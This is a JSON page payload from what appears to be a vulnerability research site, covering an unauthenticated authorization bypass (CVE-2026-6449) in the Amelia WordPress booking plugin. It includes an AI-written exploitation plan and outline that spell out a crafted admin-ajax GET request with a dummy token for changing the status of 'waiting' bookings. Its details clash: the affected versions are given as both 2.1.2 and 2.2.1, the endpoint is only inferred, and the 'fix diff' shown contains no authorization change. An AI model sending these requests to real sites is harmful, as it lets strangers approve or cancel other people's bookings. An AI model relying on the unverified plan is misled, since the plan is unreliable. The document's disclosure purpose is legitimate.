[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fHKT8M4RMej10CVwubNMIIsafIksfgmVgMNdA-sn82N8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-6449","booking-for-appointments-and-events-calendar-amelia-unauthenticated-authorization-bypass-via-remote-approval-endpoint","Booking for Appointments and Events Calendar – Amelia \u003C= 2.2.1 - Unauthenticated Authorization Bypass via Remote Approval Endpoint","The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to Improper Authorization in all versions up to, and including, 2.2.1. This is due to a logical short-circuit flaw in authorization logic that causes token validation to be entirely skipped when a booking has a 'waiting' status. This makes it possible for unauthenticated attackers to approve any booking that is in 'waiting' status by sending a crafted request to the publicly-accessible admin-ajax endpoint.","ameliabooking",null,"\u003C=2.2.1","2.3","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Improper Authorization","2026-05-01 19:17:26","2026-05-06 13:18:08",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8d7cc468-eeba-497f-9e11-79d4bebdd7a2?source=api-prod",5,[22,23,24,25,26,27,28,29],"ameliabooking.php","languages\u002Far\u002Fameliabooking-ar.po","languages\u002Fca\u002Fameliabooking-ca.po","languages\u002Fcs_CZ\u002Fameliabooking-cs_CZ.po","languages\u002Fda_DK\u002Fameliabooking-da_DK.po","languages\u002Fde_AT\u002Fameliabooking-de_AT.po","languages\u002Fde_CH\u002Fameliabooking-de_CH.po","languages\u002Fde_DE\u002Fameliabooking-de_DE.po","researched",false,3,"# Exploitation Research Plan - CVE-2026-6449\n\n## 1. Vulnerability Summary\nThe **Booking for Appointments and Events Calendar – Amelia** plugin (versions \u003C= 2.1.2) contains an improper authorization vulnerability in its remote booking management logic. Specifically, the API endpoint responsible for updating booking statuses (often used for email-based approvals) contains a logical short-circuit. If a booking's current status is `'waiting'`, the code entirely skips the validation of the security token (`token` parameter). This allows an unauthenticated attacker to approve, cancel, or reject any booking that is currently in a \"waiting\" state simply by knowing or guessing its ID.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `action=wpamelia_api`\n- **Call (Route)**: `\u002Fbookings\u002Fstatus\u002F{id}\u002F{status}` (Inferred from Amelia's remote approval URL structure).\n- **HTTP Method**: `GET` (Remote approval links sent in emails typically use GET).\n- **Vulnerable Parameter**: `id` (The booking ID) and `status` (The target status).\n- **Authentication**: Unauthenticated (the endpoint is registered under `wp_ajax_nopriv_wpamelia_api`).\n- **Precondition**: At least one booking must exist in the database with a `'waiting'` status.\n\n## 3. Code Flow\n1.  **Entry Point**: A request is sent to `admin-ajax.php?action=wpamelia_api&call=\u002Fbookings\u002Fstatus\u002F{id}\u002F{status}&token=ANYTHING`.\n2.  **Dispatch**: `Plugin::wpAmeliaApiCall()` in `ameliabooking.php` is invoked. This initializes the Slim framework container and routes.\n3.  **Routing**: `Routes::routes()` maps the `\u002Fbookings\u002Fstatus` path to a controller (likely `BookingController` or a specific status controller).\n4.  **Authorization Check**: The controller retrieves the booking from the database using the provided `{id}`.\n5.  **The Flaw**: The authorization logic checks the booking's current status. If the status is `'waiting'`, it returns `true` for the authorization check (short-circuit), effectively skipping the validation of the `token` parameter.\n6.  **Action**: The booking's status is updated in the database to the value provided in the `{status}` path segment.\n\n## 4. Nonce Acquisition Strategy\nAmelia's `wpamelia_api` action often bypasses standard WordPress nonces for remote approval endpoints because they are designed to be clicked from within emails where no WordPress session or nonce would be available.\n\nIf the environment requires a general AJAX nonce for `wpamelia_api`:\n1.  **Shortcode**: Amelia's scripts are usually enqueued on pages containing the `[ameliabooking]` or `[ameliapurchasable]` shortcodes.\n2.  **Creation**: `wp post create --post_type=page --post_status=publish --post_title=\"Booking\" --post_content=\"[ameliabooking]\"`\n3.  **Extraction**: Navigate to the page and use `browser_eval`:\n    ```javascript\n    \u002F\u002F Amelia typically localizes data into window.wpAmeliaLabels or window.ameliaBooking\n    window.ameliaBooking?.nonce || window.wpAmeliaLabels?.nonce\n    ```\n4.  **Note**: Based on the vulnerability description, the primary check being bypassed is the internal Amelia `token`, not necessarily a WP nonce.\n\n## 5. Exploitation Strategy\n\n### Step 1: Discover\u002FCreate a \"Waiting\" Booking\nSince we need a booking with the status `'waiting'`, we will create one using WP-CLI to simulate a customer booking that requires approval.\n\n### Step 2: Craft the Exploitation Request\nWe will target the remote status update endpoint.\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=wpamelia_api&call=\u002Fbookings\u002Fstatus\u002F\u003CBOOKING_ID>\u002Fapproved&token=pwned`\n- **Method**: `GET`\n\n### Step 3: Execute via `http_request`\n```python\n# Pseudo-code for the agent\nhttp_request(\n    url=\"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=wpamelia_api&call=\u002Fbookings\u002Fstatus\u002F1\u002Fapproved&token=invalid_token\",\n    method=\"GET\"\n)\n```\n\n## 6. Test Data Setup\nTo reliably test this, we must ensure a booking exists in the `'waiting'` state.\n\n1.  **Initialize Amelia**: Access the admin once to ensure tables are created.\n2.  **Identify IDs**: We need a valid `serviceId`, `employeeId`, and `customerId`.\n3.  **Create Booking**:\n    ```bash\n    wp eval \"\n    global \\$wpdb;\n    \u002F\u002F Insert a dummy booking with status 'waiting'\n    \\$wpdb->insert(\\$wpdb->prefix . 'amelia_customer_bookings', [\n        'appointmentId' => 1,\n        'customerId'    => 1,\n        'status'        => 'waiting',\n        'price'         => 0,\n        'token'         => 'secret_token_123' \n    ]);\n    echo 'Booking ID: ' . \\$wpdb->insert_id;\n    \"\n    ```\n    *Note: If the `amelia_customer_bookings` table requires a valid `appointmentId`, create a dummy appointment in the `amelia_appointments` table first.*\n\n## 7. Expected Results\n- **Response**: The server should return a `200 OK` response, likely with a JSON body indicating success (e.g., `{\"status\": \"success\", \"message\": \"...\"}`).\n- **Effect**: The `status` column for the targeted booking in the `amelia_customer_bookings` table should change from `'waiting'` to `'approved'`.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the database state using WP-CLI:\n```bash\nwp db query \"SELECT status FROM wp_amelia_customer_bookings WHERE id = 1\"\n```\n**Success Condition**: The output should be `approved`.\n\n## 9. Alternative Approaches\nIf the GET request to `\u002Fbookings\u002Fstatus` fails, the plugin might be using a different route or a POST request.\n- **Alternative Route**: `\u002Fbookings\u002Fsuccess\u002F{id}` (Some versions use this to finalize status).\n- **Alternative Method**: POST to `\u002Fbookings\u002Fstatus\u002F{id}` with `status=approved` in the body.\n- **Check Localization**: If the `token` is actually verified but the flaw is in the *generation* of the token for waiting bookings, check if the token is simply an empty string or the ID itself. (The description implies a logic skip, so the GET bypass is most likely).","The Booking for Appointments and Events Calendar – Amelia plugin (up to version 2.1.2) contains a logical authorization bypass in its remote booking management API. For bookings with a 'waiting' status, the plugin fails to perform the intended security token validation, allowing unauthenticated users to approve or reject appointments by sending a crafted request to the public AJAX endpoint.","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.2.1\u002Fameliabooking.php\t2026-04-14 07:47:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.3\u002Fameliabooking.php\t2026-04-27 12:18:12.000000000 +0000\n@@ -3,7 +3,7 @@\n Plugin Name: Amelia\n Plugin URI: https:\u002F\u002Fwpamelia.com\u002F\n Description: Amelia is a simple yet powerful automated booking specialist, working 24\u002F7 to make sure your customers can make appointments and events even while you sleep!\n-Version: 2.2.1\n+Version: 2.3\n Author: Melograno Ventures\n Author URI: https:\u002F\u002Fmelograno.io\u002F\n Text Domain: ameliabooking\n@@ -56,13 +56,13 @@\n \u002F\u002F Const for uploads path\n if (!defined('AMELIA_UPLOADS_PATH')) {\n     $uploadDir = wp_upload_dir();\n-    define('AMELIA_UPLOADS_PATH', $uploadDir['basedir']);\n+    define('AMELIA_UPLOADS_PATH', !empty($uploadDir['basedir']) ? $uploadDir['basedir'] : '');\n }\n \n \u002F\u002F Const for uploads url\n if (!defined('AMELIA_UPLOADS_URL')) {\n     $uploadUrl = wp_upload_dir();\n-    define('AMELIA_UPLOADS_URL', set_url_scheme($uploadUrl['baseurl']));\n+    define('AMELIA_UPLOADS_URL', !empty($uploadUrl['baseurl']) ? set_url_scheme($uploadUrl['baseurl']) : '');\n }\n \n \u002F\u002F Const for uploads url\n@@ -111,7 +111,7 @@\n \n \u002F\u002F Const for Amelia version\n if (!defined('AMELIA_VERSION')) {\n-    define('AMELIA_VERSION', '2.2.1');\n+    define('AMELIA_VERSION', '2.3');\n }","1. Identify a valid booking ID that is currently in 'waiting' status (awaiting approval).\n2. Construct a GET request targeting the unauthenticated Amelia API endpoint: `\u002Fwp-admin\u002Fadmin-ajax.php?action=wpamelia_api&call=\u002Fbookings\u002Fstatus\u002F{id}\u002F{new_status}`.\n3. Replace `{id}` with the target booking ID and `{new_status}` with 'approved', 'rejected', or 'canceled'.\n4. Include a dummy `token` parameter (e.g., `&token=pwned`). Because the plugin's authorization logic returns `true` automatically when the current status is 'waiting', the security token validation is bypassed and the status update is processed successfully.","gemini-3-flash-preview","2026-05-04 17:10:35","2026-05-04 17:11:10",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.2.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags\u002F2.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fameliabooking.2.2.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags\u002F2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fameliabooking.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags"]